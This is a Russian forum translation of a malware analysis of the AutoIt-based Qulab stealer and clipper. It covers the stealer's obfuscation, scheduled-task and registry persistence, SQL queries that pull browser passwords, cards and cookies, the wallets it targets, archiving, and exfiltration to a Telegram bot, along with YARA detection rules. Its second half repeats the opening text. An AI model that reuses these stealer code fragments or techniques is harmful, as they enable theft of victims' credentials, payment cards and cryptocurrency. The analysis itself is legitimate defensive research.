Пожалуйста, обратите внимание, что пользователь заблокирован
Анализ стиллера и клиппера "Qulab Project" от зарубежного аналитика. (Перевод от DarkWanna)
Статья на TeleType - https://teletype.in/@darkwanna/S1KsTq5rH
Наш канал в телеграмме - https://teleg.one/darkwanna, подпишись и будь в курсе новых статей.
После некоторых проблем, которые держали меня далеко от моих исследований, пришло время снова взять в руки некоторые сочувствующие вещи.
Итак, сегодня мы углубимся в Qulab Stealer + Clipper, еще один стиллер, который привлек мое внимание, на мой взгяд он экзотический, потому что он полностью разработан в AutoIT и имеет действительно классную технику запутывания, которая заняла меня. Есть тенденции, что вредоносное ПО, пишется на на языках, C, C ++, .NET или Delphi, это не есть что то новое.
Обычно использование AutoIT в этой области довольно распространено. Он широко используется в качестве упаковщика для скрытия, обнаружения или в качестве узла в цепочке заражения, но с точки зрения
похитителя паролей это не одно и то же. Я мог бы сказать, что это особый случай, потому что это перепродажа с поддержкой на черном рынке.
Даже если обычные методы остаются неизменными для функций кражи, всегда интересно посмотреть, как существует множество способов достижения одной простой цели. Кроме того, универсальность на этом - то, что заставляет меня подавить мое любопытство и сжечь все мое время сна по некоторым причинам
Qulab фокусируется на этих функциях:
1. Пароли браузеров
2. Кредитные карты браузеров
3. Сбор более 30 холодных криптокошельков
4. Информацию о ПК и пользователе
5. Текстовые файлы с рабочего стола
6. Скрин рабочего стола
7. Steam файлы (ssfn и config)
8. Cookie файлы браузеров в формате netscape
9. Автозаполнения полей браузеров
10. Telegram сессию
11. Discord сессию
12. FileZilla файлы
13. Exodus сессию
14. Steam Desktop Authenticator сессии
Как я упоминал во вступлении, Qulab написан на AutoIT, для людей, которые не касались языка AutoIt или не имеют представления об этом, это язык автоматизации, синтаксис которого похож на структуру BASIC, он предназначен для работы только с системой Windows.
Это два способа выполнения скриптов AutoIT:
rule AutoIt
{
meta:
author = "_pusher_"
date = "2016-07"
description = "www.autoitscript.com/site/autoit/"
strings:
$aa0 = "AutoIt has detected the stack has become corrupt.\n\nStack corruption typically occurs when either the wrong calling convention is used or when the function is called with the wrong number of arguments.\n\nAutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention." wide ascii nocase
$aa1 = "AutoIt Error" wide ascii nocase
$aa2 = "Missing right bracket ')' in expression." wide ascii nocase
$aa3 = "Missing operator in expression." wide ascii nocase
$aa4 = "Unbalanced brackets in expression." wide ascii nocase
$aa5 = "Error parsing function call." wide ascii nocase
$aa6 = ">>>AUTOIT NO CMDEXECUTE<<<" wide ascii nocase
$aa7 = "#requireadmin" wide ascii nocase
$aa8 = "#OnAutoItStartRegister" wide ascii nocase
$aa9 = "#notrayicon" wide ascii nocase
$aa10 = "Cannot parse #include" wide ascii nocase
condition:
5 of ($aa*)
}
Со своей стороны, я не буду объяснять шаги или инструменты для извлечения кода AutoIt, в Интернете есть множество руководств, объясняющих как можно извлечь некоторые сценарии AutoIt. Идея здесь состоит в том, чтобы сосредоточиться в основном на вредоносной программе, а не на извлекающей части...
Запутывание кода
После извлечения кода из PE, легко догадаться, что некоторые удивительные вещи приходят нам на глаза, просто посмотрев количество кода... Анализ этой вредоносной программы будет своего рода проблемой.
cat Qulab.au3 | wc -l
21952 // some pain incomming
Для нетехнических людей я создал специальную страницу на GitHub, чтобы можно было легко читать и изучать основы AutoIT. Я настоятельно рекомендую открыть его во время чтения этой статьи, вам будет проще понять написаное. Вам также нужно прочитать официальный FAQ AutoIT для понимания API. К сожалению, это не полная документация Microsoft MSDN, но она достаточна для понимания базовых принципах этого языка.
Невозможно объяснить все формы запутывания в этой вредоносной программе, но это краткое изложение основных приемов.
\$A\d[A-F0-9]{3,10}
Замечательно видеть более десяти тысяч (и более) таких переменных во всем сценарии (сарказм)
$A18A4000F15
$A5AA4204E10
$A0FA4403A33
$A55A4601801
$A24A4804C5C
...
FUNC A5D10600720(BYREF $A37E6C01A00,$A183A702F3C)
IF NOT ISDECLARED("SSA5D10600720") THEN
ENDIF
...
...
ENDFUNC
Это классический шаблон, условие просто проверяет, не объявлена ли переменная («SS» + имя функции), внутри всегда есть некоторые локальные переменные, которые инициируются для целей функций, и большую часть времени они поступают из мастер массив. Деобфусцируя их, можно удалить все условия по этому шаблону, переменные переключаются по их соответствующим значениям, это позволяет удалить много кодов.
...Code....
GLOBAL LOCAL $VARIABLE_455 = $VARIABLE_1
...Code...
GLOBAL LOCAL $VARIABLE_9331 = VARIABLE_455 <- Final Value
> Инициирование их по условию
IF $A4A7AC0550A=DEFAULT THEN $A4A7AC0550A=-NUMBER($A198A005329)
IF $A2F7AD03E54=DEFAULT THEN $A2F7AD03E54=-NUMBER($A2C8A10261F)
IF $A3D7AE0071E=DEFAULT THEN $A3D7AE0071E=-NUMBER($A218A202B4D)
IF $A3F7AF01354=DEFAULT THEN $A3F7AF01354=-NUMBER($A2A8A300E5F)
> Использование переменной count в двумерном массиве со значением, хранящимся в массиве длиной 20 000 единиц.
$A31E5E11A1F[NUMBER($A2646512725)][NUMBER($A0C46615D39)]+=NUMBER($A5246713208)
> Сокрытие кодов ошибок целых чисел смесью нескольких функций и переменных.
RETURN SETERROR($A2C07504A0A,NUMBER($A411740414D),NUMBER($A6017502D45))
Выполнение кода
У этой вредоносной программы есть необычный способ выполнения кода, и это довольно круто.
Директивы ведут дорожный путь
Все, что начинается с '#', является директивой, это технически первая вещь, которую скрипт проверит, и здесь он настроен на переход к определенной функции любой ценой, такой как «A5300003647_», эта является основной функцией. ,
#СЪЕБИСЬ ОТСЮБДА ДУДА ТЫ ССАНАЯ БЛЯХА МУХА (эту строку аналитик никак не прокоментировал
)
#NoTrayIcon
#OnAutoItStartRegister "A5300003647_"
#NoTrayIcon - скрывает значок AutoIT в задаче в трее.
#OnAutoItStartRegister - первая функция, которая будет вызываться в начале скрипта (эквивалент основной функции).
Основная функция VIP
Первая функция Qulab очень важна, потому что именно здесь инициализируются почти все данные для задач. Переменная $ DLIT хранит «огромную» строку, которая будет разделена разделителем «o2B2Ct» и сохранена в массиве $ OS
Примечание: имя, упомянутое здесь, является тем, которое будет использоваться для этого сценария кражи, результаты могут отличаться в разных примерах, но идея остается неизменной.
FUNC A5300003647_()
FOR $AX0X0XA=1 TO 5
LOCAL $DLIT="203020o2B2Ct203120o..."
GLOBAL $A5300003647,$OS=STRINGSPLIT($DLIT,"o2B2Ct",1)
IF ISARRAY($OS) AND $OS[0]>=19965 THEN EXITLOOP
SLEEP(10)
NEXT
ENDFUNC
Глобальные переменные являются ключом
Глобальные переменные, безусловно, находятся в центре внимания Qulab, они нигде и повсюду, они настолько эффективны с главным массивом, что одна модификация одной переменной может иметь эффект домино для всего вредоносного ПО, которое может закончиться ошибкой сегментации или чем-то еще, это может привести к сбою сценария.
Когда переменная инициализируется, есть несколько шагов за ней:
функция "A5300003647" фактически эквивалентна функции "From Hex", и она преобразует значения 2 байта на 2 байта.
FUNC A5300003647($A5300003647)
LOCAL $A5300003647_
FOR $X=1 TO STRINGLEN($A5300003647) STEP 2
$A5300003647_&=CHR(DEC(STRINGMID($A5300003647,$X,2)))
NEXT
RETURN $A5300003647_
ENDFUNC
Просто изменив инструкции скриптов AutoIT, с помощью некоторых настроек (благодаря самодельным скриптам деобфускации и терпению), переменные теперь почти полностью читаемы.
После изменения наших переменных 19966 (это много), мы можем ясно увидеть большинство задач, которые вредоносная программа выполняет в канале статически. Это не означает, что сделано с этой частью, это всего лишь первый черновик, и его нужно очистить снова, потому что есть много незавершенных задач и конечно, как я объяснил выше, большинство из них не используются.
Основной код
После всего этого беспорядка, чтобы понять как правильно читать код, сценарий теперь вступает в основной шаг. Более серьезные дела начинаются прямо сейчас.
Чтобы подвести итог всей задачи, это вкратце, что происходит:
Между двумя функциями иногда существуют глобальные переменные, которые объявлены, или есть также скрытые вызовы, которые влияют на саму полезную нагрузку. Их нельзя было реально увидеть с первого взгляда, потому что они утоплены в объеме кода. Таким образом, 1 или 2 строки между десятками функций могут быть легко забыты.
мы можем видеть, что это также указывает на конкретный метод, который будет вызываться в конце всего.
ONAUTOITEXITREGISTER("A1AA3F04218")
Итак, проведя небольшое исследование, мы можем увидеть нашу функцию ,между огромным количеством кода, которая будет вызываться в конце скрипта.
Это фактически закрывающий модуль crypt32.dll , который используется для CryptoAPI.
GLOBAL $A1A48943E37=DLLOPEN("crypt32.dll")
Некоторые курьезы, чтобы раскрыть
Самодельные функции или уже сделано?
Для большинства задач вредоносная программа использует множество «пользовательских функций» (UDF) с некоторыми изменениями, как объяснено в FAQ по AutoIT: « Эти библиотеки были написаны для простой интеграции в ваши собственные сценарии и являются очень ценным ресурсом для любого программиста.» . это все больше и больше подтверждает, что открытый исходный код и форумы по программированию полезны для обеих сторон (и хороших, и плохих), поэтому для разработки вредоносных программ не обязательно быть мастером, все готово и свободно.
Также подтверждено что Qulab использовал измененный или оригинальный UDF для:
Известно, что программы AutoIT жадны в потреблении памяти и могут быть более уязвимыми. Много раз вредоносная программа будет выполнять задачу, чтобы проверить, есть ли возможность уменьшить объем выделенной памяти, удаляя как можно больше страниц из рабочего набора процесса. Манипуляция требовала использования EmptyWorkingSet и могла позволить сократить вдвое использование памяти программой.
FUNC A0E64003F0C($A1B85D1000C=0)
IF NOT $A1B85D1000C THEN $A1B85D1000C=EXECUTE(" @AutoItPID ")
LOCAL $A3485F11D1D=DLLCALL("kernel32.dll","handle","OpenProcess","dword",(($A209DF54B2B<1536)?1280:4352),"bool",0"dword",$A1B85D1000C)
IF error OR NOT $A3485F11D1D[0] THEN RETURN SETERROR(@ERROR+20,@EXTENDED,0)
LOCAL $A5F55F1392E=DLLCALL(EXECUTE(" @SystemDir ")&"\psapi.dll","bool","EmptyWorkingSet","handle",$A3485F11D1D[0])
RETURN 1
ENDFUNC
Сначала он получит значение PID программы, скомпилированной AutoIT, выполнив макрос @AutoItPID, а затем откроет его с помощью OpenProcess. Но один из аргументов довольно неясен
(($A209DF54B2B<1536)?1280:4352)
что стоит за переменной $ A209DF54B2B? давайте копаться в этом ...
GLOBAL CONST $A209DF54B2B=A2054F01A5F()
FUNC A2054F01A5F()
LOCAL $A1656715F1D=DLLSTRUCTCREATE("struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct")
DLLSTRUCTSETDATA($A1656715F1D,1,DLLSTRUCTGETSIZE($A1656715F1D))
LOCAL $A5F55F1392E=DLLCALL("kernel32.dll","bool","GetVersionExW","struct*",$A1656715F1D)
IF error ORNOT$A5F55F1392E[0] THENRETURNSETERROR(@ERROR,@EXTENDED,0)
RETURN BITOR(BITSHIFT(DLLSTRUCTGETDATA($A1656715F1D,2),-8),DLLSTRUCTGETDATA($A1656715F1D,3)))
ENDFUNC
Это функция WinAPI будет извлекать версию текущей операционной системы, используемой на машине, возвращаемое значение в двоичном формате. Так что если мы оглянемся назад и сверимся с официальным API.
//
// _WIN32_WINNT version constants
//
#define _WIN32_WINNT_NT4 0x0400 // Windows NT 4.0
#define _WIN32_WINNT_WIN2K 0x0500 // Windows 2000
#define _WIN32_WINNT_WINXP 0x0501 // Windows XP
#define _WIN32_WINNT_WS03 0x0502 // Windows Server 2003
#define _WIN32_WINNT_WIN6 0x0600 // Windows Vista
#define _WIN32_WINNT_VISTA 0x0600 // Windows Vista
#define _WIN32_WINNT_WS08 0x0600 // Windows Server 2008
#define _WIN32_WINNT_LONGHORN 0x0600 // Windows Vista
#define _WIN32_WINNT_WIN7 0x0601 // Windows 7
#define _WIN32_WINNT_WIN8 0x0602 // Windows 8
#define _WIN32_WINNT_WINBLUE 0x0603 // Windows 8.1
#define _WIN32_WINNT_WINTHRESHOLD 0x0A00 // Windows 10
#define _WIN32_WINNT_WIN10 0x0A00 // Windows 10
Зная версию Windows с этой функцией, скрипт AutoIT теперь может правильно открыть процесс и проанализировать его. Последняя задача - очистить неиспользуемый рабочий набор, вызвав EmptyWorkingSet для очистки некоторой ненужной памяти.
Планирование задач
Планирование задач со стилерами сводится к одной строке кода, простой и эффективной команде ShellExecute с schtask.exe для периодического выполнения чего-либо, как трюка с постоянством. Здесь это немного сложнее чем обычно, в нескольких точках с помощью объекта TaskService
$A60FD553516=OBJCREATE("Schedule.Service")
$A60FD553516.Connect()
Новая задача установлена со значением флага 0, как объяснено в документации MSDN, это обязательное значение.
$A489E853A1E=$A60FD553516.NewTask(0)
Чтобы быть менее детектируемыми, некоторые трюки должны выглядеть как можно более правдоподобными, детализируя что процесс был выполнен правильным пользователем, описание, название задачи и папка задачи корректируются в соответствии с пожеланиями клиента.
$A4A9E951E11=$A489E853A1E.RegistrationInfo()
$A4A9E951E11.Description()= $A487E851D38
$A4A9E951E11.Author()=EXECUTE(" @LogonDomain ")&"\"&EXECUTE(" ")
Чтобы максимизировать работоспособность, Qulab настраивает клиппер под ситуации:
$A4B9EA50562=$A489E853A1E.Settings()
$A4B9EA50562.MultipleInstances() = 0
$A4B9EA50562.DisallowStartIfOnBatteries()= FALSE
$A4B9EA50562.StopIfGoingOnBatteries()= FALSE
$A4B9EA50562.AllowHardTerminate()= TRUE
$A4B9EA50562.StartWhenAvailable()= TRUE
$A4B9EA50562.RunOnlyIfNetworkAvailable() FALSE
$A4B9EA50562.Enabled()= TRUE
$A4B9EA50562.Hidden()= TRUE
$A4B9EA50562.RunOnlyIfIdle()= FALSE
$A4B9EA50562.WakeToRun()= TRUE
$A4B9EA50562.ExecutionTimeLimit()= "PT1M" // Default PT99999H
$A4B9EA50562.Priority()= 3 // Default 5
$A3E9EB51B0D=$A489E853A1E.Principal()
$A3E9EB51B0D.Id()=EXECUTE(" ")
$A3E9EB51B0D.DisplayName()=EXECUTE(" ")
$A3E9EB51B0D.LogonType()=$A0B8E352D04
$A3E9EB51B0D.RunLevel()= 0
Другая автозагрузка?
Классический используется
IF NOT A3F64500C0D($A00DEB51215,$A35DEF51B61) THEN
REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
$A00DEB51215,"REG_SZ",""""&$A104A053309&"\"&$A60DE955B5F&"""")
Больше нечего сказать об этой части ...
Кодировка это не шифрование
Когда я копался в коде я обнаружил ошибку, которая заставляет меня немного смеяться... Классическая цитата о том что base64 - это шифрование. Так что возможно, после этого глубокого анализа разработчик вредоносного ПО исправит свою ошибку (или просто оскорбит меня).
Особенности вредоносного ПО
Клиппер
Если вы не знаете, что такое клиппер то это на самом деле очень просто. Идея состоит в том чтобы изменить то, что находится в содержимом буфера обмена, с помощью некоторых фильтров/правил, которые в большинстве случаев упрощаются как регулярные выражения. Если он совпадает с чем-то, он изменит данные в буфере обмена на заданные. Он широко используется для подемны кошельков жертвы на кошельки злоумышленника. Это также относится и к Qulab.
Этот кусок кода представляет ядро клипера:
Итак, это шаги которые выполняет клиппер:
Текущий список криптовалютных кошельков, который ворует стиллер.
Bitcoin; Bitcoin Cash; Bitcoin Gold; Bytecoin; Cardano; Lisk; Dash; Doge; Electronium; Ethereum; Graft; Litecoin; Monero; Neo; QIWI; Qtum; Steam Trade; Link; Stratis; VIA; WME; WMR; WMU; WMX; WMZ; Waves; Yandex Money; ZCash.
Браузер Stealer
Qulab Clipper + Stealer - это своего рода головоломка с несколькими кусочками, и каждый кусочек - это еще одна головоломка. Сбор и сортировка их для решения всей фрески - это своего рода вызов. Я могу признать для части браузера, даже если концепция проста и останется всегда той же самой (для основ Password Stealer), способ которым это было реализовано, несколько умный.
Сначала проверяется каждый браузер, поддерживаемый вредоносной программой, с конкретными аргументами:
Это идет к очень важной функции, которая будет искать (не только для браузера), такие виды файлов:
Когда все файлы найдены, нужно всего лишь сделать какое-то регулярное выражение, чтобы отфильтровать и разделить данные, которые вредоносная программа захватила.
После проверки и сохранения данных из браузеров, присутствующих в списке, серьезное дело теперь на ходу... Один из двоичных файлов, который жестко закодированы в base64, наконец-то декодируется и используется для получения некоторых сочных данных, как каждый раз, когда он становится популярным. SQLite3.dll, который был внутри всего этого.
Интересно отметить, что разработчик внес некоторые коррективы в официальный AutoIT FUD для SQLite3 и удалил все сетевые задач��, чтобы избежать загрузки библиотек (32 или 64 бита) и, конечно, быть менее детектируемым.
Файл сохраняется в каталоге %ROAMING% и будет иметь имя:
SELECT card_number_encrypted, name_on_card, expiration_month, expiration_year FROM credit_cards;
SELECT username_value, password_value, origin_url, action_url FROM logins;
select host, 'FALSE' as flag, path, case when isSecure = 1 then 'TRUE' else 'FALSE' end as secure, expiry, name, value from moz_cookies;
select host_key, 'FALSE' as flag, path, case when is_secure = 1 then 'TRUE' else 'FALSE' end as secure, expires_utc, name, encrypted_value from cookies;
Текущий список поддерживаемых браузеров
360 Browser; Amigo; AVAST Browser; Blisk; Breaker Browser; Chromium; Chromodo; CocCoc; CometNetwork Browser; Comodo Dragon; CyberFox; Flock Browser; Ghost Browser; Google Chrome; IceCat; IceDragon; K-Meleon Browser; Mozilla Firefox; NETGATE Browser; Opera; Orbitum Browser; Pale Moon; QIP Surf; SeaMonkey; Torch; UCBrowser; uCOZ Media; Vivaldi; Waterfox; Yandex Browser.
FTP
FTP находится в зачаточном состоянии, но выполняет задачу, поскольку он выглядит только для программного обеспечения FileZilla.
Граббер
Qulab не имеет продвинутой функции граббера, он действительно упрощен по сравнению со стиллерами такими как Vidar. Он упрощается всего одной простой строкой. Он использует ту же функцию, которая описана выше с браузерами, с той лишь разницей что он сосредоточен на поиске определенного формата файла в каталоге рабочего стола
Целевые файлы
Ничто не может сказать больше, чем Exodus.
Discord
В настоящее время Discord становится все более и более популярным, поэтому сейчас стало обычным делом видеть, что это программное обеспечение предназначено почти для всех существующих паролей на рынке.
Steam & Steam Desktop Authenticator
Процедура для Steam почти идентична той, что я объяснил в Predator, и будет оставаться такой же, пока Steam не изменит некоторые вещи в защиту своих файлов (или просто не поменяет их условное название).
Но! В этом пароле-пароле есть что-то отличное от всего, что я видел в настоящее время. Он также нацелен на Steam Desktop Authenticator - стороннее программное обеспечение, как описано на официальной странице в качестве настольной реализации мобильного приложения для аутентификации Steam. Он ищет конкретный и уникальный файл ".maFile", он уже упоминался выше в части Grabber и части "Обкрадывание браузера". Этот файл содержит конфиденциальные данные учетной записи Steam, связанной с приложением мобильной аутентификации Steam.
Так что эта вредоносная программа в значительной степени нацелена на Steam:
Для стиллера характерно иметь информационный файл, в котором записываются важные данные с компьютера жертвы. Это также относится и к Qulab, нет необходимости объяснять всю часть, я просто объясняю здесь с помощью какой команды он смог получить кусочки информации.
OS Version - @OSVersion
OS Architecture - @OSArch
OS Build - @OSBuild
Username -
Computer Name - @ComputerName
Processor - ExecQuery("SELECT * FROM Win32_VideoController","WQL",16+32)
Video Card - ExecQuery("SELECT * FROM Win32_Processor","WQL",16+32)
Memory - STRINGFORMAT("%.2f Gb",MEMGETSTATS()[1]/1024/1024)
Keyboard Layout ID - @KBLayout
Resolution - @DesktopWidth & @DesktopHeight & @DesktopDepth & @DesktopRefresh
Сеть:
Не видно из-за прокси, на ipapi.co выполняется сетевой запрос для получения всей сетевой информации о машине жертвы.
$A4AC5512B62=INETREAD("https://ipapi.co/json",3)
Результат JSON объединяется в одну переменную и сохраняется для окончательного файла журнала.
IF STRINGLEN($A4AC5512B62) > 75 THEN
$A2B1F55481F=A4604603206(BINARYTOSTRING($A4AC5512B62))
$A280FD53C4B =" - IP: " &A211460135A($A2B1F55481F,"[ip]") & EXECUTE(" @CRLF ")
&" - Country: " &A211460135A($A2B1F55481F,"[country_name]") & EXECUTE(" @CRLF ")
&" - City: " &A211460135A($A2B1F55481F,"[city]") & EXECUTE(" @CRLF ")
&" - Region: " &A211460135A($A2B1F55481F,"[region]") & EXECUTE(" @CRLF ")
&" - ZipCode: " &A211460135A($A2B1F55481F,"[postal]") & EXECUTE(" @CRLF ")
&" - ISP: " &A211460135A($A2B1F55481F,"[org]") & EXECUTE(" @CRLF ")
&" - Coordinates: " &A211460135A($A2B1F55481F,"[latitude]")&", "&A211460135A($A2B1F55481F,"[longitude]")&EXECUTE(" @CRLF ")
&" - UTC: " &A211460135A($A2B1F55481F,"[utc_offset]")&" ("&A211460135A($A2B1F55481F,"[timezone]")&")"
ENDIF
FOR $A51E7205400 = 1 TO $A12EF151C00[0][0]
$A3B1F954B63 &=" - "&$A12EF151C00[$A51E7205400][0]&EXECUTE(" @CRLF ")
NEXT
$A2EEFA54E30=PROCESSLIST()
FOR $A51E7205400=1 TO $A2EEFA54E30[0][0]
$A481FB54A60&=" - "&$A2EEFA54E30[$A51E7205400][0]&" / PID: "&$A2EEFA54E30[$A51E7205400][1]&EXECUTE(" @CRLF ")
NEXT
Смешивая все эти данные, файл журнала, наконец, делается:
# /===============================\
# |=== QULAB CLIPPER + STEALER ===|
# |===============================|
# |==== BUY CLIPPER + STEALER ====|
# |=== http://teleg.run/QulabZ ===|
# \===============================/
Date: XX.XX.2019, HH:MM:SS
Main Information:
- ...
Other Information:
- ...
Soft / Windows Components / Windows Updates:
- ...
Process List:
- ...
Инструкции по установке
Для того, чтобы, вероятно, помочь своим клиентам, когда вредоносная программа перехватывает данные от другого программного обеспечения, кроме браузеров, добавлен дополнительный файл, который дает некоторые пояснения для полного выполнения задачи после процесса кражи, шаг за шагом и сохраняет в «Инструкцию по установке.txt».
Инструкции уникальны для каждого из них:
Когда, наконец, все сделано для кражи, папка готова к архивированию и использует другую закодированную полезную нагрузку, жестко запрограммированную в сценарии.
Не очень сложно понять, что за этим огромным количеством кода стоит 7zip.
Полезная нагрузка сохраняется в хранилище папок на %APPDATA% с именем P
E_Name + ".module.dll" и выполняет определенную задачу перед удалением всего.
ARCHIVATE($A271F153721)
RUNWAIT($A271F153721&" a -y -mx9 -ssw """&$A104A053309&"\"&$A63CEC52907&".7z"" """&$A104A053309&"\1\*""","",EXECUTE(" @SW_HIDE "))
FILEDELETE($A271F153721)
Если вы не понимаете команды, объясняю здесь:
a - добавить
y - да на все запросы
mx9 - метод ультра сжатия
SSW - сжатие файлов, открытых для записи
Вот пример окончательного архива.
Но есть возможность иметь все эти файлы и папки:
\1\Passwords.txt
\1\Information.txt
\1\Screen.jpg
\1\AutoFills.txt
\1\CreditCards.txt
\1\Cookies
\1\Desktop TXT Files
\1\Discord
\1\Telegram
\1\Steam
\1\Exodus
\1\Wallets
\1\FileZilla
\1\SDA
Процесс очистки
Просто и эффективно:
Это легко ловится в журналах мониторинга.
Telegram Bot как C2?
Эта вредоносная программа использует бота Telegram для связи и отправки украденных данных. Как обычно он использует некоторые функции UDF, так что нет ничего действительно нового. Не очень сложно понять как это работает.
Когда бот создается, существует уникальный токен аутентификации, который можно использовать после отправки ему запросов.
api.telegram.org/bot/
Кроме того, он использует приватный прокси при отправке лога, запроса боту:
Эти значения используются для настройки параметров прокси во время HTTP-запроса:
Как это выглядит на другой стороне?
Это вредоносное ПО разработано кодером Qulab, и потребовались секунды, чтобы найти официального продавца стиллера/клипера. Как обычно каждый маркетинг, о котором вы хотите знать детализирован.
Дополнительная информация:
IoC
Хэш
Используемое программное обеспечение и язык
rule Qulab_Stealer : Qulab
{
meta:
description = "Yara rule for detecting Qulab (In memory only)"
author = "Fumik0_"
strings:
$s1 = "QULAB CLIPPER + STEALER" wide ascii
$s2 = "SDA" wide ascii
$s3 = "SELECT * FROM Win32_VideoController" wide ascii
$s4 = "maFile" wide ascii
$s5 = "Exodus" wide ascii
condition:
all of ($s*)
}
Заключение
Ну, иногда круто копаться в некоторых вещах, которые не очень распространены для этого языка. Это интересно и всегда стоит изучать новый контент, находить новые инструменты, находить новую перспективу, чтобы погрузиться в некоторые совершенно неизвестные области.
Qulab Stealer интересен только тем что использует AutoIT и использует бота в телеграмм для отправки лога, но функции кражи остаются такими же как и у всех других стиллеров.
Оригинальная статья: https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/
Перевод и адаптацию статьи сделал: https://t.me/milfachs
Подписуйся на наш канал "Dark Wanna, о кодинге и разным фичам понятным языком.
Dark Wanna - Дарк который ты хочешь.
Статья на TeleType - https://teletype.in/@darkwanna/S1KsTq5rH
Наш канал в телеграмме - https://teleg.one/darkwanna, подпишись и будь в курсе новых статей.
После некоторых проблем, которые держали меня далеко от моих исследований, пришло время снова взять в руки некоторые сочувствующие вещи.
Итак, сегодня мы углубимся в Qulab Stealer + Clipper, еще один стиллер, который привлек мое внимание, на мой взгяд он экзотический, потому что он полностью разработан в AutoIT и имеет действительно классную технику запутывания, которая заняла меня. Есть тенденции, что вредоносное ПО, пишется на на языках, C, C ++, .NET или Delphi, это не есть что то новое.
Обычно использование AutoIT в этой области довольно распространено. Он широко используется в качестве упаковщика для скрытия, обнаружения или в качестве узла в цепочке заражения, но с точки зрения
похитителя паролей это не одно и то же. Я мог бы сказать, что это особый случай, потому что это перепродажа с поддержкой на черном рынке.
Даже если обычные методы остаются неизменными для функций кражи, всегда интересно посмотреть, как существует множество способов достижения одной простой цели. Кроме того, универсальность на этом - то, что заставляет меня подавить мое любопытство и сжечь все мое время сна по некоторым причинам
Qulab фокусируется на этих функциях:
1. Пароли браузеров
2. Кредитные карты браузеров
3. Сбор более 30 холодных криптокошельков
4. Информацию о ПК и пользователе
5. Текстовые файлы с рабочего стола
6. Скрин рабочего стола
7. Steam файлы (ssfn и config)
8. Cookie файлы браузеров в формате netscape
9. Автозаполнения полей браузеров
10. Telegram сессию
11. Discord сессию
12. FileZilla файлы
13. Exodus сессию
14. Steam Desktop Authenticator сессии
- Клиппер (подставляет ваши указанные при совпадении некоторых параметров), используется для кражи денег.
Как я упоминал во вступлении, Qulab написан на AutoIT, для людей, которые не касались языка AutoIt или не имеют представления об этом, это язык автоматизации, синтаксис которого похож на структуру BASIC, он предназначен для работы только с системой Windows.
Это два способа выполнения скриптов AutoIT:
- Если скрипт выполняется в формате .au3, требуются зависимости AutoIT и все библиотеки, необходимые для его запуска.
- Если скрипт скомпилирован, все библиотеки добавляются в него для избежания зависимостей. Это означает, что вам не нужно устанавливать AutoIT для выполнения PE.
rule AutoIt
{
meta:
author = "_pusher_"
date = "2016-07"
description = "www.autoitscript.com/site/autoit/"
strings:
$aa0 = "AutoIt has detected the stack has become corrupt.\n\nStack corruption typically occurs when either the wrong calling convention is used or when the function is called with the wrong number of arguments.\n\nAutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention." wide ascii nocase
$aa1 = "AutoIt Error" wide ascii nocase
$aa2 = "Missing right bracket ')' in expression." wide ascii nocase
$aa3 = "Missing operator in expression." wide ascii nocase
$aa4 = "Unbalanced brackets in expression." wide ascii nocase
$aa5 = "Error parsing function call." wide ascii nocase
$aa6 = ">>>AUTOIT NO CMDEXECUTE<<<" wide ascii nocase
$aa7 = "#requireadmin" wide ascii nocase
$aa8 = "#OnAutoItStartRegister" wide ascii nocase
$aa9 = "#notrayicon" wide ascii nocase
$aa10 = "Cannot parse #include" wide ascii nocase
condition:
5 of ($aa*)
}
Со своей стороны, я не буду объяснять шаги или инструменты для извлечения кода AutoIt, в Интернете есть множество руководств, объясняющих как можно извлечь некоторые сценарии AutoIt. Идея здесь состоит в том, чтобы сосредоточиться в основном на вредоносной программе, а не на извлекающей части...
Запутывание кода
После извлечения кода из PE, легко догадаться, что некоторые удивительные вещи приходят нам на глаза, просто посмотрев количество кода... Анализ этой вредоносной программы будет своего рода проблемой.
cat Qulab.au3 | wc -l
21952 // some pain incomming
Для нетехнических людей я создал специальную страницу на GitHub, чтобы можно было легко читать и изучать основы AutoIT. Я настоятельно рекомендую открыть его во время чтения этой статьи, вам будет проще понять написаное. Вам также нужно прочитать официальный FAQ AutoIT для понимания API. К сожалению, это не полная документация Microsoft MSDN, но она достаточна для понимания базовых принципах этого языка.
Невозможно объяснить все формы запутывания в этой вредоносной программе, но это краткое изложение основных приемов.
- Соглашение об именовании переменных и функций
\$A\d[A-F0-9]{3,10}
Замечательно видеть более десяти тысяч (и более) таких переменных во всем сценарии (сарказм)
$A18A4000F15
$A5AA4204E10
$A0FA4403A33
$A55A4601801
$A24A4804C5C
...
- Мусорные условия
FUNC A5D10600720(BYREF $A37E6C01A00,$A183A702F3C)
IF NOT ISDECLARED("SSA5D10600720") THEN
ENDIF
...
...
ENDFUNC
Это классический шаблон, условие просто проверяет, не объявлена ли переменная («SS» + имя функции), внутри всегда есть некоторые локальные переменные, которые инициируются для целей функций, и большую часть времени они поступают из мастер массив. Деобфусцируя их, можно удалить все условия по этому шаблону, переменные переключаются по их соответствующим значениям, это позволяет удалить много кодов.
- Неиспользуемые функции
- Инициирование переменных и их использование
...Code....
GLOBAL LOCAL $VARIABLE_455 = $VARIABLE_1
...Code...
GLOBAL LOCAL $VARIABLE_9331 = VARIABLE_455 <- Final Value
> Инициирование их по условию
IF $A4A7AC0550A=DEFAULT THEN $A4A7AC0550A=-NUMBER($A198A005329)
IF $A2F7AD03E54=DEFAULT THEN $A2F7AD03E54=-NUMBER($A2C8A10261F)
IF $A3D7AE0071E=DEFAULT THEN $A3D7AE0071E=-NUMBER($A218A202B4D)
IF $A3F7AF01354=DEFAULT THEN $A3F7AF01354=-NUMBER($A2A8A300E5F)
> Использование переменной count в двумерном массиве со значением, хранящимся в массиве длиной 20 000 единиц.
$A31E5E11A1F[NUMBER($A2646512725)][NUMBER($A0C46615D39)]+=NUMBER($A5246713208)
> Сокрытие кодов ошибок целых чисел смесью нескольких функций и переменных.
RETURN SETERROR($A2C07504A0A,NUMBER($A411740414D),NUMBER($A6017502D45))
Выполнение кода
У этой вредоносной программы есть необычный способ выполнения кода, и это довольно круто.
- Прочитайте директивы, следует им, чтобы перейти к основной функции
- Основная функция настроит основной массив (я объясню это позже)
